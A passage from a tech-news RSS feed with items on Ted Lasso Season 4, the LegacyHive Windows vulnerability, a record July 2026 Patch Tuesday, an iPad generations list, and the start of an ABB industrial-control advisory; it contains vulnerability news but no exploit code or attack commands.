Jason Sudeikis returns as Ted Lasso and continues to serve as an executive producer. Hannah Waddingham is back as AFC Richmond owner Rebecca Welton, while Juno Temple returns as Keeley Jones.



Brett Goldstein will also appear again as Roy Kent. Brendan Hunt returns as Coach Beard, and Jeremy Swift reprises his role as Leslie Higgins. Their confirmed involvement suggests AFC Richmond’s familiar leadership group will remain closely connected to Ted’s new team.



The season also introduces Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely. Details about most of their characters remain limited, although several of them are expected to be connected to the new women’s football storyline.



Will the original AFC Richmond players return?



Apple has not confirmed every member of the original men’s team for Season 4. The announced returning cast currently includes Ted, Rebecca, Keeley, Roy, Coach Beard, and Higgins.



Characters such as Jamie Tartt, Sam Obisanya, Dani Rojas and Isaac McAdoo could still appear, especially because the story remains centred around Richmond. However, their involvement should remain unconfirmed until further announcements or episodes reveal more.



Ted Lasso Season 4 begins streaming on Apple TV on August 5, 2026. What do you plan to watch when Ted returns to Richmond? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ted Lasso Season 4 Release Date, Cast and Story: Everything Confirmed So Far]]></title>
<description><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-d...]]></description>
<link>https://tsecurity.de/de/3670539/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670539/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</guid>
<pubDate>Wed, 15 Jul 2026 13:55:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-drama



Number of episodes: 10



Release schedule: One new episode every Wednesday



Season finale date: October 7, 2026



Lead cast: Jason Sudeikis, Hannah Waddingham, Juno Temple, Brett Goldstein, Brendan Hunt and Jeremy Swift



New cast: Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely




The first episode will premiere on August 5, followed by weekly episodes through October 7. This means viewers will once again follow the season over several weeks instead of receiving all 10 episodes at once.




https://www.youtube.com/watch?v=PxZg4SfIURg




What is the story of Ted Lasso Season 4?



Possible spoilers for the first three seasons follow.



Season 4 brings Ted back to Richmond, where he begins coaching a second-division women’s football team. The new position becomes one of the biggest challenges of his career, as Ted must build another team while adjusting to a different side of professional football.



The storyline follows the idea introduced near the end of Season 3, when Keeley presented Rebecca with plans to create an AFC Richmond women’s team. That proposal now appears to form the main foundation of the new season.



Ted’s return also raises several personal questions. Season 3 ended with him leaving England to spend more time with his son, Henry. Season 4 will need to explain why he returns to Richmond, how his family situation has changed, and whether Henry becomes part of his life in England.



The official description says Ted and the new team will learn to take chances before knowing how everything will work out. That theme fits the show’s focus on personal growth, teamwork, and people finding confidence during uncertain moments.



Which cast members are returning?



Jason Sudeikis returns as Ted Lasso and continues to serve as an executive producer. Hannah Waddingham is back as AFC Richmond owner Rebecca Welton, while Juno Temple returns as Keeley Jones.



Brett Goldstein will also appear again as Roy Kent. Brendan Hunt returns as Coach Beard, and Jeremy Swift reprises his role as Leslie Higgins. Their confirmed involvement suggests AFC Richmond’s familiar leadership group will remain closely connected to Ted’s new team.



The season also introduces Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely. Details about most of their characters remain limited, although several of them are expected to be connected to the new women’s football storyline.



Will the original AFC Richmond players return?



Apple has not confirmed every member of the original men’s team for Season 4. The announced returning cast currently includes Ted, Rebecca, Keeley, Roy, Coach Beard, and Higgins.



Characters such as Jamie Tartt, Sam Obisanya, Dani Rojas and Isaac McAdoo could still appear, especially because the story remains centred around Richmond. However, their involvement should remain unconfirmed until further announcements or episodes reveal more.



Ted Lasso Season 4 begins streaming on Apple TV on August 5, 2026. What do you plan to watch when Ted returns to Richmond? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[New LegacyHive Windows 0-day Vulnerability Allows Users  to Load Another User’s Registry]]></title>
<description><![CDATA[A proof-of-concept exploit dubbed LegacyHive has been released, enabling a Windows elevation-of-privilege vulnerability in the Windows User Profile Service that allows a standard user to load another user’s registry hive under their own registry classes root. Registry hives are files that store c...]]></description>
<link>https://tsecurity.de/de/3669705/it-security-nachrichten/new-legacyhive-windows-0-day-vulnerability-allows-users-to-load-another-users-registry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669705/it-security-nachrichten/new-legacyhive-windows-0-day-vulnerability-allows-users-to-load-another-users-registry/</guid>
<pubDate>Wed, 15 Jul 2026 08:08:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A proof-of-concept exploit dubbed LegacyHive has been released, enabling a Windows elevation-of-privilege vulnerability in the Windows User Profile Service that allows a standard user to load another user’s registry hive under their own registry classes root. Registry hives are files that store configuration data for Windows, services, applications, and user profiles. Improperly loading or exposing […]</p>
<p>The post <a href="https://cybersecuritynews.com/legacyhive-windows-0-day-vulnerability/">New LegacyHive Windows 0-day Vulnerability Allows Users  to Load Another User’s Registry</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patch Tuesday roundup: Microsoft fixes a monthly record 569 holes; SAP patches a critical memory corruption bug]]></title>
<description><![CDATA[Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.



Today the company issued a record number of patches, with 59 rated as critical. And Microsoft is now r...]]></description>
<link>https://tsecurity.de/de/3669391/it-security-nachrichten/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669391/it-security-nachrichten/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug/</guid>
<pubDate>Wed, 15 Jul 2026 04:07:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.</p>



<p class="wp-block-paragraph">Today the company <a href="https://msrc.microsoft.com/update-guide/">issued a record number of patches</a>, with 59 rated as critical. And Microsoft is now recommending that customers accelerate their patching schedules to more quickly deal with critical flaws.</p>



<p class="wp-block-paragraph">“Normally we have to wait for October or November to determine if we’ll break the previous [annual] patch volume record,” which was 1,245 vulnerabilities found in 2020, commented <a href="https://www.tenable.com/profile/satnam-narang">Satnam Narang</a>, senior staff research engineer at Tenable. But not this year. Tenable counted 569 CVEs that were patched officially as part of this month’s Patch Tuesday, excluding the server-side updates not requiring user intervention, smashing last month’s record of 198 fixes</p>



<p class="wp-block-paragraph">It’s probable, he said, that by the end of this year, Microsoft will have found over 3,000 common vulnerabilities and exposures (CVEs).</p>



<p class="wp-block-paragraph">Today’s volume of holes is “striking,” he added, “but it reflects how good these tools have become at finding bugs, not how many of those bugs actually pose a risk to organizations.” </p>



<p class="wp-block-paragraph">Separately, SAP released 20<strong> </strong>new and updated security patches, including a critical memory corruption vulnerability in NetWeaver Application Server ABAP, SAP Kernel, and frontend services tied to SAP GUI for HTML, which has a CVSS score of 9.9.</p>



<h2 class="wp-block-heading">Microsoft patches</h2>



<p class="wp-block-paragraph">Among the huge number of CVEs that Microsoft found were three zero-days that need to be patched, including two that have been exploited in the wild. </p>



<p class="wp-block-paragraph">Those two are both elevation of privilege vulnerabilities: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155,</a> an Active Directory Federation Services (AD FS) flaw that allows attackers with limited access to elevate privileges to administrator, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, a Microsoft SharePoint Server vulnerability. </p>



<p class="wp-block-paragraph">The third is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>, a security feature bypass in Windows BitLocker, which was noted as having been publicly disclosed. “We surmise that this could be related to a flurry of zero-day vulnerabilities disclosed by the researcher known as Nightmare Eclipse or Chaotic Eclipse,” Narang said, “though no official confirmation was made. We also know that the researcher promised to drop something on Patch Tuesday.”</p>



<p class="wp-block-paragraph">While these were the most noteworthy flaws this month, Narang said, for CSOs the July patches prove that the state of the Exploitability Index, which rates how likely a vulnerability is to be exploited, must shift, given the machine speed of exploit discovery. For example, he pointed out, in May, Microsoft originally tagged <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45659">CVE-2026-45659</a>, a SharePoint vulnerability, as exploitation less likely. However, the vulnerability was added to the US Cybersecurity &amp; Infrastructure Security Agency’s list of known exploited vulnerabilities on July 1.</p>



<p class="wp-block-paragraph">He added that Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile the monthly Patch Tuesday system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated as Exploitation Less Likely or Exploitation Unlikely.</p>



<p class="wp-block-paragraph">“What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it,” Narang said.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/dustincchilds/">Dustin Childs</a>, head of threat awareness at TrendAI’s Zero Day Initiative, agreed.</p>



<p class="wp-block-paragraph">“To call this record-breaking is a massive understatement,” said Childs. “This is the ‘Mother of All Releases’. The bug apocalypse has fully descended upon us, with July’s numbers pushing the year-to-date CVE count past every single full-year total of the last 20 years. Security teams need to take an extended break from their regularly scheduled activities to eat this elephant one byte at a time, starting immediately with active exploits in Active Director FS and SharePoint.”</p>



<p class="wp-block-paragraph">He particularly drew attention to a near-perfect 9.9 CVSS flaw in Windows VMSwitch (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) that allows low-privileged attackers to escape virtual machine boundaries for full host compromise.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/bicer/">Jack Bicer</a>, director of vulnerability research at Action1, agreed that IT leadership should prioritize immediate remediation of the actively exploited Active Directory Federation Services elevation of privilege vulnerability and the SharePoint Server elevation of privilege vulnerability .</p>



<p class="wp-block-paragraph">After that, he said, priority should be given to these critical vulnerabilities: Active Directory Certificate Services Elevation of Privilege Vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>), which introduces the possibility of attackers impersonating trusted systems and potentially compromising AD through certificate abuse; a Windows Active Directory Domain Services remote code execution vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) which enables unauthenticated remote code execution against one of the most critical components within Windows enterprise environments; a Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central remote code execution vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944">CVE-2026-55944</a>); a Microsoft Exchange Server spoofing vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>); Microsoft SQL Server remote code execution vulnerabilities (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a>); and multiple Windows DHCP Server vulnerabilities. </p>



<p class="wp-block-paragraph">These holes create opportunities for attackers to compromise financial systems, communication platforms, databases, and core network infrastructure, Bicer pointed out, systems which often provide direct access to sensitive business information and frequently serve as high-value targets for ransomware operators and advanced threat actors. </p>



<p class="wp-block-paragraph">There are also important security updates for Microsoft Defender, Bicer added, noting that vulnerabilities affecting endpoint protection software deserve immediate attention because successful exploitation undermines one of the organization’s primary defensive controls.</p>



<h2 class="wp-block-heading">IT teams must prioritize</h2>



<p class="wp-block-paragraph"><a href="https://fsi.stanford.edu/people/andrew-j-grotto">AJ Grotto</a>, a research scholar at the Centre for International Security and Co-operation and former Senior White House Director for Cyber Policy, said that Microsoft’s July Patch Tuesday “is a stark reminder that security teams are now operating in an era of vulnerability volume and velocity. With 570 vulnerabilities patched, including three actively exploited zero-days, the biggest concern for CSOs isn’t just the number of flaws, but the concentration of risk around identity systems, collaboration platforms, and privilege escalation pathways. The actively exploited vulnerabilities in Active Directory Federation Services and SharePoint are especially concerning because they target technologies that sit at the center of enterprise trust and access.”</p>



<p class="wp-block-paragraph">He added, “for CSOs, the challenge is no longer just defending against threat actors, it’s keeping up with an accelerating cycle of vulnerabilities and updates across the Microsoft ecosystem in the AI era. Security leaders should think critically about diversifying their vendors to protect their enterprise and save time and money on patching an increasing list of bugs that nearly tripled month-over-month.”</p>



<p class="wp-block-paragraph">“While the sheer number of [Microsoft] vulnerabilities might seem alarming on the surface,” said <a href="https://www.linkedin.com/in/nicholasacarroll/">Nick Carroll</a> and <a href="https://www.linkedin.com/in/rainmbaker/">Rain Baker</a> of the Nightwing ShadowScout threat intelligence team, “this can actually be seen as a positive sign for enterprise security. It means vendors are finding and fixing flaws before adversaries can weaponize them en masse.”</p>



<p class="wp-block-paragraph">And <a href="https://www.fortra.com/profile/josh-taylor">Josh Taylor</a>, lead cybersecurity analyst at Fortra, noted that 26 of the Microsoft vulnerabilities have a CVSS base score above 9.0, and 13 of those sit at 9.8. “That matters,” he said, “but CVSS is still only one part of the risk story. The real triage problem this month is the mix of exploited issues, a publicly disclosed BitLocker flaw, and a massive concentration of vulnerabilities in Windows and Office.” </p>



<p class="wp-block-paragraph">He said, “for patching teams, this is the kind of month that rewards discipline. The right move is not panic, it is sequencing: put exploited issues and exposed infrastructure first, then let the normal validation process do its job.”</p>



<h2 class="wp-block-heading">Others increasing their patch cadence too</h2>



<p class="wp-block-paragraph"><a href="https://www.ivanti.com/blog/authors/chris-goettl">Chris Goettl</a>, vice-president of product management at Ivanti, noted many software vendors in addition to Microsoft are increasing their security update cadence. For example, Cisco Systems has just shifted to a risk-based, twice-monthly disclosure model (the first and third Wednesday of each month), Mozilla is on a near weekly security update march, and Oracle’s new Critical Security Patch Update (CSPU) program has been delivering targeted critical-severity fixes on the 3rd Tuesday of non-CPU months since May.</p>



<p class="wp-block-paragraph">Nightwing also noted that Adobe issued 12 separate security bulletins for products in its first twice-monthly bulletin. Administrators must treat today’s Priority 1 ColdFusion update (APSB26-82) with urgency, as it patches a critical 9.9 CVSS path traversal vulnerability (CVE-2026-48318). It’s one of 11 ColdFusion vulnerabilities patched. </p>



<p class="wp-block-paragraph">Additionally, retail and web administrators should immediately prioritize Adobe Commerce (APSB26-73), which resolves a 9.6 CVSS flaw allowing unrestricted uploads of dangerous file types (CVE-2026-48356).</p>



<h2 class="wp-block-heading">SAP vulnerabilities</h2>



<p class="wp-block-paragraph"><a href="https://pathlock.com/author/jonathan-stross/">Jonathan Stross</a>, senior product manager for cybersecurity research and innovation at Pathlock, said the most critical of the SAP fixes is Note 3747367, a memory corruption vulnerability in NetWeaver Application Server ABAP, with a CVSS score of 9.9. The vulnerability affects the ABAP Application Server, SAP Kernel, and frontend services tied to SAP GUI for HTML.</p>



<p class="wp-block-paragraph"> According to SAP, an authenticated attacker can trigger logical memory-management errors that may lead to unauthorized data access, data modification, or system unavailability. The likely attack scenario involves a compromised account or malicious insider abusing a crafted request that reaches the vulnerable code path. </p>



<p class="wp-block-paragraph">“Because a successful exploit can impact confidentiality, integrity, and availability at the platform level, while potentially destabilizing a core ABAP system, organizations should treat this as the highest-priority patch in the July release,” Stross said. </p>



<p class="wp-block-paragraph">Prioritize the critical ABAP kernel issue, plus the AppRouter request smuggling note, and the Commerce Cloud sample-credential issue first, he said, because these are the most likely to produce direct security impact in real environments.</p>



<p class="wp-block-paragraph">But do not treat the updated notes as noise, he added. The July overview includes three re-released items that still matter operationally, and this should be reflected in patch planning and change records. The attack surface is distributed: ABAP, Java, BTP, Commerce, SAProuter, UI5, and supporting libraries all appear in the same monthly cycle, so patching needs coordinated platform ownership.</p>



<p class="wp-block-paragraph"><a href="https://onapsis.com/post-author/thomas-fritsch/">Thomas Fritsch</a>, an SAP researcher at Onapsis, described the <a href="https://onapsis.com/blog/sap-security-patch-day-july-2026/">SAP Security notes</a> in detail and noted that SAP teams who can’t immediately install the NetWeaver memory corruption fix can, as a temporary workaround, disable all ICF nodes with a specific property in transaction SICF. However, since the workaround will disable opening transactions in SAP GUI for HTML, it is not an option for all customers and it is strongly recommended to install the patched ABAP Kernel version.</p>



<h2 class="wp-block-heading">Patching should become continuous</h2>



<p class="wp-block-paragraph">“AI is likely to expose new classes of weaknesses, and will introduce some of its own through AI-assisted development,” commented <a href="https://www.linkedin.com/in/thegenemoody/">Gene Moody</a>, Field CTO at Action1. “Logically, with that in mind, the future of updating must become more continuous, more adaptive, and less tied to a fixed calendar. Discovery will not follow business logic; it will be swift and unforgiving. We must accept that, and be just as diligent in our defense, because the cost of failure is higher than the inconvenience of change.” </p>



<p class="wp-block-paragraph">He added, “in my crystal ball, I see a future where Microsoft and others move steadily away from scheduled monthly patch cycles in favor of rolling updates for most security issues in as close to live time as they can be researched and released. That would be a win for the entire industry. Faster patch creation and delivery, paired with more agile practices on the customer side, would finally start to align patching with the pace of modern discovery and exploitation.” </p>



<p class="wp-block-paragraph">“What needs to happen is simple,” he said. “Patching on a calendar is no longer a safe assumption in today’s threat landscape. Patching where and when needed versus scheduled is the only path forward.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPad Generations List: Every Apple Model from 2010 to 2026]]></title>
<description><![CDATA[This is your definitive, chronological tour of the iPad. We’ll walk through every generation, what Apple shipped, the big firsts, and how each model pushed tablets forward. Bookmark it for reference and collecting, or to spot the exact iPad you own.



Before you start




Naming is messy. Apple ...]]></description>
<link>https://tsecurity.de/de/3668670/ios-mac-os/ipad-generations-list-every-apple-model-from-2010-to-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668670/ios-mac-os/ipad-generations-list-every-apple-model-from-2010-to-2026/</guid>
<pubDate>Tue, 14 Jul 2026 18:34:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is your definitive, chronological tour of the iPad. We’ll walk through every generation, what Apple shipped, the big firsts, and how each model pushed tablets forward. Bookmark it for reference and collecting, or to spot the exact iPad you own.



Before you start




Naming is messy. Apple mixes “iPad,” “iPad Air,” “iPad mini,” and “iPad Pro,” plus year/generation numbers. We’ll spell out each clearly.



Ports &amp; Pencils change a lot. 30-pin → Lightning → USB-C; Apple Pencil (1st) → Pencil (2nd) → Pencil (USB-C) → Pencil Pro.



Sizes shift. Classic 9.7-inch gave way to 10.2, 10.5, 10.9, 11, 12.9, 13 inches—and a tiny 7.9/8.3-inch mini.



Chips leap. A-series to Apple silicon (M-series) with desktop-class features.




The iPad Timeline, Every Generation, In Order



2010 — iPad (1st generation)







The original iPad landed like a new kind of computer: a 9.7-inch multi-touch slab running iPhone OS 3.2 on Apple’s A4 chip. No cameras, a 30-pin dock connector, and a 1024×768 IPS screen—but a bold idea: web, email, books, and apps in your hands. It sold millions and cemented the tablet as a mainstream device. 



2011 — iPad 2







A landmark refinement: 33% thinner, lighter, now with front and rear cameras, the new A5 chip, and the magnetic Smart Cover that woke the iPad when opened. Same 9.7-inch resolution, much faster feel. This design ethos—thinner, lighter, smarter—became iPad’s north star. 



2012 (Spring) — iPad (3rd generation)







“The new iPad” debuted the Retina display at 2048×1536—stunning at the time—powered by A5X for the heavier graphics load. It also added LTE options. Short life, huge impact: Retina became the baseline for Apple screens. 



2012 (Fall) — iPad (4th generation)







A fast mid-year pivot brought the A6X chip and, crucially, Lightning replacing the 30-pin connector—aligning iPad with the iPhone 5 ecosystem and opening an era of smaller, reversible cables. 



2012 — iPad mini (1st generation)







A beloved 7.9-inch form factor appeared with an A5 chip and a 1024×768 display. The mini made iPad one-handable and travel-friendly; its size would become a cult favorite for reading and fieldwork. 



2013 — iPad Air (1st generation)







The “Air” name said it all: a dramatically lighter 9.7-inch chassis with A7 (64-bit), ushering in desktop-style architectures on iPad. Sleek, efficient, future-proof. 



2013 — iPad mini 2 (Retina)







The mini caught up with Retina and A7 performance, shrinking few-compromise iPad power into a small body. (Mini 3 in 2014 added Touch ID but kept similar internals.)



2014 — iPad Air 2







The first laminated display with anti-reflective coating, a big visual upgrade, plus the A8X chip and Touch ID. Air 2 stayed relevant for years—many still consider it a classic. 



2015 — iPad mini 4







A meaningful update with a thinner build and A8; it became the long-lived “good enough” mini while Pro development accelerated.



2015 — iPad Pro 12.9 (1st generation)







iPad grew up—literally—with a 12.9-inch display, quad speakers, A9X, and two accessories that redefined the platform: Apple Pencil (1st gen) and Smart Keyboard. Creative pros and note-takers took notice; latency and precision changed the conversation about tablets. 



2016 — iPad Pro 9.7







A smaller Pro introduced True Tone and a color-sensitive ambient sensor—Apple’s screens started adapting to your environment. Cameras also leapt ahead here.



2017 — iPad (5th generation)







Apple rebooted the entry iPad: affordable 9.7-inch model with A9. No Pencil support yet, but it set a template for the value tier. 



2017 — iPad Pro 10.5 &amp; 12.9 (2nd gen)







ProMotion 120Hz arrived, making iPad feel instantly smoother—scrolling, gaming, Pencil latency, everything. It’s one of the biggest “you can feel it” upgrades in iPad history. 



2018 — iPad (6th generation)







The budget iPad finally gained Apple Pencil (1st gen) support, opening digital handwriting and art to schools and casual creators without Pro prices. 



2018 — iPad Pro 11 (1st) &amp; 12.9 (3rd)







The design reset: USB-C, Face ID, edge-to-edge “Liquid Retina,” no home button, and Apple Pencil (2nd gen) that snapped on magnetically to pair/charge. This set today’s Pro identity. 



2019 — iPad mini (5th) and iPad Air (3rd, 10.5-inch)







Both moved to A12 and Pencil (1st) support; Air gained Smart Keyboard compatibility, becoming the “most iPad for most people” mid-tier. 



2019 — iPad (7th generation)







A new 10.2-inch size and Smart Connector brought keyboard support to the base iPad—great for typing and students.



2020 — iPad Pro (A12Z, 2nd-gen 11-inch / 4th-gen 12.9)







Refined Pros with LiDAR for AR and a Magic Keyboard with trackpad, steering iPad toward laptop-style workflows. 



2020 — iPad (8th) and iPad Air (4th, 10.9-inch)







Entry iPad jumped to A12, while Air 4 adopted the Pro-like design, USB-C, and Apple Pencil (2nd)—a huge value shift that blurred the Pro line from below. 



2021 — iPad Pro (M1), iPad (9th), iPad mini (6th)







The Pros moved to Apple’s M1 with Thunderbolt; the 12.9-inch added mini-LED XDR for HDR punch. The base iPad got A13 and Center Stage. The mini 6 was reborn: 8.3-inch, USB-C, and Pencil (2nd) support—tiny, powerful, modern. 



2022 — iPad Air (5th, M1), iPad (10th), iPad Pro (M2)







Air gained M1; the 10th-gen iPad switched to USB-C with a landscape camera (but awkwardly used Pencil (1st) via an adapter). Pros with M2 added Apple Pencil hover—a nuanced but meaningful creator feature. 



2024 — iPad Pro (M4, Ultra Retina XDR OLED) &amp; iPad Air (M2, 11- and 13-inch)







The Pro made its biggest leap since 2018: tandem OLED (“Ultra Retina XDR”), the M4 chip, the thinnest Apple product ever, and the debut of Apple Pencil Pro (squeeze, barrel roll, haptics). The Air moved to M2 and gained a 13-inch size. Apple dropped the 9th-gen iPad and lowered the 10th-gen price.



2024 (Fall) — iPad mini (7th, A17 Pro)







Mini caught up with a big internal jump, adopting A17 Pro and the latest Pencil options while keeping the 8.3-inch portability fans love. 



2025 (Spring) — iPad Air (M3)







A swift spec bump to M3 kept Air squarely in the “sweet spot” for performance-per-dollar, alongside the modern Magic Keyboard and Pencil lineup.



2025 (Spring) — iPad (11th Generation)







The iPad (11th generation) is Apple’s latest refresh of its most popular tablet. Powered by the A16 Bionic chip, it offers faster performance, improved multitasking, and better efficiency compared to the previous A14-based iPad.



Spec Comparison



YearModelChipPortApple Pencil SupportKey Highlights2010iPad 9.7″ (1st gen)A430-pin—First iPad; 1024×768 IPS display2011iPad 2A530-pin—First with cameras; Smart Cover support2012iPad (3rd gen)A5X30-pin—First Retina display (2048×1536)2012iPad (4th gen)A6XLightning—Lightning replaces 30-pin connector2012iPad mini (1st, 7.9″)A5Lightning—First iPad mini2013iPad Air (1st)A7 (64-bit)Lightning—First 64-bit iPad; thinner design2013iPad mini 2A7Lightning—First Retina mini2014iPad Air 2A8XLightning—First laminated + anti-reflective display2015iPad mini 4A8Lightning—Slimmer, more powerful mini2015iPad Pro 12.9″ (1st)A9XLightning1st genFirst Apple Pencil; quad speakers2016iPad Pro 9.7″A9XLightning1st genTrue Tone display debuts2017iPad (5th gen)A9Lightning—Budget iPad line returns2017iPad Pro 10.5″ / 12.9″ (2nd)A10XLightning1st genFirst ProMotion 120Hz display2018iPad (6th gen)A10Lightning1st genPencil support comes to base iPad2018iPad Pro 11″ / 12.9″ (3rd)A12XUSB-C2nd genFace ID, no Home button, new design2019iPad mini 5A12Lightning1st genA12 performance in mini2019iPad Air 3 (10.5″)A12Lightning1st genSmart Keyboard support2019iPad (7th gen, 10.2″)A10Lightning1st genSmart Connector on base iPad2020iPad Pro (A12Z)A12ZUSB-C2nd genAdds LiDAR, Magic Keyboard with trackpad2020iPad Air 4 (10.9″)A14USB-C2nd genBrings Pro-style design to Air2020iPad (8th gen)A12Lightning1st genValue refresh2021iPad Pro (M1)M1USB-C / Thunderbolt2nd genFirst with M-series chip; mini-LED XDR (12.9″)2021iPad (9th gen)A13Lightning1st genCenter Stage front camera2021iPad mini 6 (8.3″)A15USB-C2nd genAll-new design, modernized mini2022iPad Air 5M1USB-C2nd genM-series comes to Air2022iPad (10th gen, 10.9″)A14USB-CUSB-C / 1st gen via adapterLandscape front camera2022iPad Pro (M2)M2USB-C / Thunderbolt2nd genIntroduces Pencil hover2024iPad Air (M2, 11″ / 13″)M2USB-CPencil Pro / USB-CFirst 13″ Air; Pencil Pro support2024iPad Pro (M4, 11″ / 13″)M4USB-C / ThunderboltPencil ProUltra Retina XDR OLED; thinnest iPad yet2024iPad mini 7A17 ProUSB-CPencil Pro / USB-CMajor internal leap for mini2025iPad Air (M3)M3USB-CPencil Pro / USB-CSpec bump; keeps pace with Pro features2025iPad (11th gen)A16 BionicUSB-CPencil (1st gen) / USB-CMagic Keyboard Folio support; Smart Connector



Conclusion



From a 9.7-inch “big iPod touch” to an M4-powered OLED slate with a pro-grade stylus, iPad never stood still. The early years chased thinness and Retina clarity; then came Pro accessories and 120Hz; today, Apple silicon and OLED push the tablet squarely into laptop territory for many workflows. Whether you value a featherweight mini, a balanced Air, or the bleeding-edge Pro, there’s a clear through-line: every generation made the computer more touchable, more portable, and, bit by bit, more capable.



FAQs



Which iPad first supported Apple Pencil? The 2015 iPad Pro 12.9 introduced Apple Pencil (1st gen). Pencil support expanded to the budget iPad in 2018, then to Pencil (2nd) in the 2018 Pro redesign, and to Pencil Pro in 2024 on the new Pro/Air.  Which iPad first used USB-C? The 2018 iPad Pro line. Air switched in 2020, mini in 2021, and the 10th-gen iPad in 2022.  What’s the thinnest iPad? The 2024 iPad Pro (M4)—Apple’s thinnest product to date—despite packing tandem OLED and a huge performance jump.  Do all iPad Pros have 120Hz ProMotion? All modern Pros (2017 and later) do; the 2015/2016 Pros pre-date ProMotion.  Is the iPad mini still alive? Yes. Mini 7 (2024) upgraded to A17 Pro, keeping the compact 8.3-inch form while adding modern Pencil options.]]></content:encoded>
</item>
<item>
<title><![CDATA[ABB T-MAC Plus]]></title>
<description><![CDATA[View CSAF
Summary
ABB became aware of vulnerability in the products versions listed as affected in the advisory. An update is available that resolves the reported vulnerabilities. An attacker who successfully exploited any of these vulnerabilities could potentially compromise the system in differ...]]></description>
<link>https://tsecurity.de/de/3668600/it-security-nachrichten/abb-t-mac-plus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668600/it-security-nachrichten/abb-t-mac-plus/</guid>
<pubDate>Tue, 14 Jul 2026 18:14:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-195-03_drupal.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>ABB became aware of vulnerability in the products versions listed as affected in the advisory. An update is available that resolves the reported vulnerabilities. An attacker who successfully exploited any of these vulnerabilities could potentially compromise the system in different ways.</strong></p>
<p>The following versions of ABB T-MAC Plus are affected:</p>
<ul>
<li>T-MAC Plus 4.0-24 (CVE-2025-14771, CVE-2025-14772, CVE-2025-14773, CVE-2025-14774)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.9</td>
